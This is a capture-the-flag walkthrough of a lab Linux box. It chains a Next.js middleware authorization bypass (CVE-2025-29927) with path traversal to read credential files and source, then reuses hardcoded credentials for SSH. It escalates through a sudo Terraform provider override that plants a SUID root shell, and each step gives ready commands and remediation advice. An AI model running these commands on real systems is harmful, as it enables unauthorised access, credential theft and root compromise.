← all walkthroughs

Previous

Linux· Medium
owned
2026-09-04
time to own
7m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My recon'd Previous ($TARGET), found it fronting a Next.js 15.2.2 site behind the vhost previous.htb, and chained CVE-2025-29927 (a Next.js middleware authorization-bypass header) with a path-traversal flaw in the site's file-download API to read the compiled server-side authentication handler. That file contained a hardcoded username and password for a user named jeremy, which turned out to be reused as the box's real SSH password.

From an SSH foothold as jeremy, sudo -l revealed permission to run Terraform as root against a local plan directory. Because the sudoers rule preserved the environment, I pointed Terraform's provider "development override" at the world-writable /dev/shm and dropped a fake provider binary there; running the permitted sudo terraform apply executed that binary as root, which planted a SUID root shell and completed full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService enumeration and web technology fingerprinting
Scanned the host and identified the web application stack
A port scan showed only SSH (22) and HTTP (80) exposed. The web port redirected to the virtual host previous.htb, which served a Next.js/React application with NextAuth.js authentication; response headers and the page's buildId confirmed Next.js 15.2.2, a version vulnerable to a known middleware authorization bypass.
Nmap: 22/tcp ssh, 80/tcp http nginx 1.18.0 (Ubuntu); 80 redirects to http://previous.htb/; X-Powered-By: Next.js header and buildId identified version 15.2.2.
Exact commands 3
Confirm only 22 and 80 are open.
nmap -sC -sV -p- $TARGET
Add the discovered vhost so Host-based routing resolves correctly.
echo "$TARGET previous.htb" | sudo tee -a /etc/hosts
Confirm nginx front-end and Next.js headers/buildId.
curl -sSI http://previous.htb/
2ExploitationCVE-2025-29927 — Next.js middleware authorization bypass
Bypassed authentication on protected routes with the Next.js middleware header
The site restricted /docs and /api/* behind an authentication middleware. Next.js versions before 15.2.3 trust a client-supplied 'x-middleware-subrequest' header that marks a request as an internal middleware-to-middleware call, skipping the auth check entirely (CVE-2025-29927). Sending the header with the middleware name repeated five times let every protected route be reached without logging in.
A single 'middleware' value returned 307 to /signin; the 5x-repeated chain reached protected API routes directly.
Exact commands 1
Bypass auth middleware and confirm traversal reaches /etc/passwd (discloses user jeremy).
curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://previous.htb/api/download?example=../../../etc/passwd
FixUpgrade Next.js to patch the middleware authorization-bypass vulnerabilityCritical
WeaknessThe deployed Next.js 15.2.2 trusted a client-supplied 'x-middleware-subrequest' header to identify internal middleware calls, letting an unauthorised user skip the authentication middleware entirely on any protected route.
FixUpgrade to Next.js 15.2.3 or later (or the patched release for your major version) which strips/validates this header. As defense in depth, strip any client-supplied 'x-middleware-subrequest' header at the reverse proxy/CDN before it reaches the application.
3ExploitationPath traversal / arbitrary file read (CWE-22)
Exploited a path-traversal flaw to read the compiled auth handler and recover hardcoded credentials
The now-reachable /api/download endpoint accepted an 'example' path parameter with no sanitization, allowing arbitrary file reads outside the intended download directory (the '--path-as-is' curl flag is required, or the client normalizes the ../ segments away before sending). Reading the compiled NextAuth handler exposed the authorize() function's hardcoded credential check for username 'jeremy'.
GET of ../../../../app/.next/server/pages/api/auth/[...nextauth].js revealed authorize() comparing to username 'jeremy' / password '[REDACTED: recovered credential]'.
Exact commands 2
Read the compiled NextAuth handler; adjust the ../ depth to match the app's install path. URL-encode the [...] route segment.
curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js'
Optionally pull .env for NEXTAUTH_SECRET / config confirmation.
curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../app/.env'
FixEliminate path traversal in the file-download APIHigh
WeaknessThe /api/download endpoint passed a user-supplied 'example' path parameter directly to the filesystem with no normalization or containment check, allowing arbitrary file reads anywhere on the server including application source and configuration.
FixResolve the requested path against a fixed base directory, reject any path whose resolved value escapes that directory (path.resolve + startsWith check, or a library like path-is-inside), and serve files by an opaque ID/allowlist rather than a raw filesystem path.
4Initial FootholdCredential reuse across application and OS accounts (T1078)
Reused the hardcoded web credential to log in over SSH
The username/password baked into the site's authorize() function ('jeremy' / '[REDACTED: recovered credential]') was also the real SSH password for the local Linux account jeremy, giving a direct interactive shell.
Sshpass -p '[REDACTED: recovered credential]' ssh jeremy@$TARGET id -> uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy); user.txt read from /home/jeremy/user.txt.
Exact commands 2
Confirm foothold; expect uid=1000(jeremy).
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no jeremy@previous.htb id
Read the user flag; value replaced with <user.txt> in this report.
cat /home/jeremy/user.txt
FixRemove hardcoded credentials from application code and stop reusing them for OS accountsCritical
WeaknessThe compiled NextAuth authorize() function contained a hardcoded username/password pair, and that same password was reused as the actual SSH login for the corresponding Linux account — a single source-disclosure bug directly yielded a shell.
FixMove all credential checks to environment-supplied secrets or a proper identity provider, never literal strings in source; rotate the exposed password; and enforce unique, non-reused credentials between application accounts and OS/SSH accounts (a password manager or vault, plus SSH key-only auth, prevents this class of reuse).
5Privilege Escalation EnumerationSudo misconfiguration — environment preserved across privileged invocation (GTFOBins: terraform)
Found a sudo rule allowing jeremy to run Terraform as root
Checking sudo privileges showed jeremy could run '/usr/bin/terraform -chdir=/opt/examples apply' as root with no password, and critically the sudoers entry used '!env_reset', meaning jeremy's environment (including HOME and any TF_VAR_*/TF_CLI_CONFIG_FILE variables) was preserved into the root-run Terraform process instead of being reset.
Sudo -l: 'Matching Defaults entries for jeremy: !env_reset ...' and 'User jeremy may run: (root) /usr/bin/terraform -chdir=/opt/examples apply'.
Exact commands 1
As jeremy over the SSH session; lists the permitted terraform command and the !env_reset Defaults line.
sudo -l
FixRestrict the sudo Terraform rule and stop preserving environment/writable temp directoriesCritical
Weaknessjeremy could run Terraform as root via sudo with the environment preserved (!env_reset), so his own ~/.terraformrc and HOME were honored inside the root-run process; combined with a world-writable /dev/shm, this let a planted 'provider' binary be dev-override-loaded and executed as root.
FixRemove the !env_reset exception for this sudoers rule (or scope it to only the needed variables) so root's own clean environment is used; run Terraform from a wrapper that pins TF_CLI_CONFIG_FILE and TF_DATA_DIR to root-owned, non-writable locations; and mount /dev/shm (and /tmp) with noexec where the deployment allows it to prevent execution of an unauthorised user-planted binaries.
6Privilege EscalationTerraform provider development-override abuse for local code execution
Pointed a Terraform provider dev_override at a planted binary and ran it as root
Because the environment was preserved, jeremy's own ~/.terraformrc (read via HOME) was honored even when Terraform ran under sudo. Terraform's 'dev_overrides' feature lets a CLI config force a given provider source to load an arbitrary local executable instead of a signed, verified plugin. Pointing the provider used by /opt/examples at a file dropped in the world-writable /dev/shm meant the next 'sudo terraform apply' executed my own code as root.
Terraform apply output: 'Provider development overrides are in effect ... Previous.htb/terraform/examples in /dev/shm'; the exact -auto-approve invocation was rejected by the sudoers argument match, so the plain 'apply' + 'yes' confirmation was used instead.
Exact commands 4
Confirm the required_providers source string, e.g. Previous.htb/terraform/examples.
cat /opt/examples/*.tf
Force Terraform to load the provider binary from /dev/shm.
printf '%s\n' 'provider_installation { dev_overrides { "previous.htb/terraform/examples" = "/dev/shm" } }' > ~/.terraformrc
Plant the fake provider binary; filename must exactly match terraform-provider-<name>.
printf '%s\n' '#!/bin/bash' 'cp /bin/bash /var/tmp/rootbash; chmod 6777 /var/tmp/rootbash' > /dev/shm/terraform-provider-examples && chmod +x /dev/shm/terraform-provider-examples
The sudoers rule doesn't match -auto-approve; run plain apply and pipe the 'yes' confirmation instead.
printf '%s\n%s\n' "$PASSWORD" 'yes' | sudo -S /usr/bin/terraform -chdir=/opt/examples apply
7Full CompromiseSUID binary abuse for privilege escalation (T1548.001)
Used the SUID root shell to confirm root and capture root.txt
The malicious provider script ran as root when Terraform loaded it, copying /bin/bash to /var/tmp/rootbash and setting the setuid bit. Executing that binary with -p preserved privileges, giving an effective root shell that confirmed full compromise and read the root flag.
/var/tmp/rootbash -p -c '/usr/bin/id' -> uid=1000(jeremy) euid=0(root) egid=0(root); root.txt read from /root/root.txt.
Exact commands 2
Confirm euid=0(root).
/var/tmp/rootbash -p -c '/usr/bin/id'
Read the root flag; value replaced with <root.txt> in this report.
/var/tmp/rootbash -p -c '/bin/cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp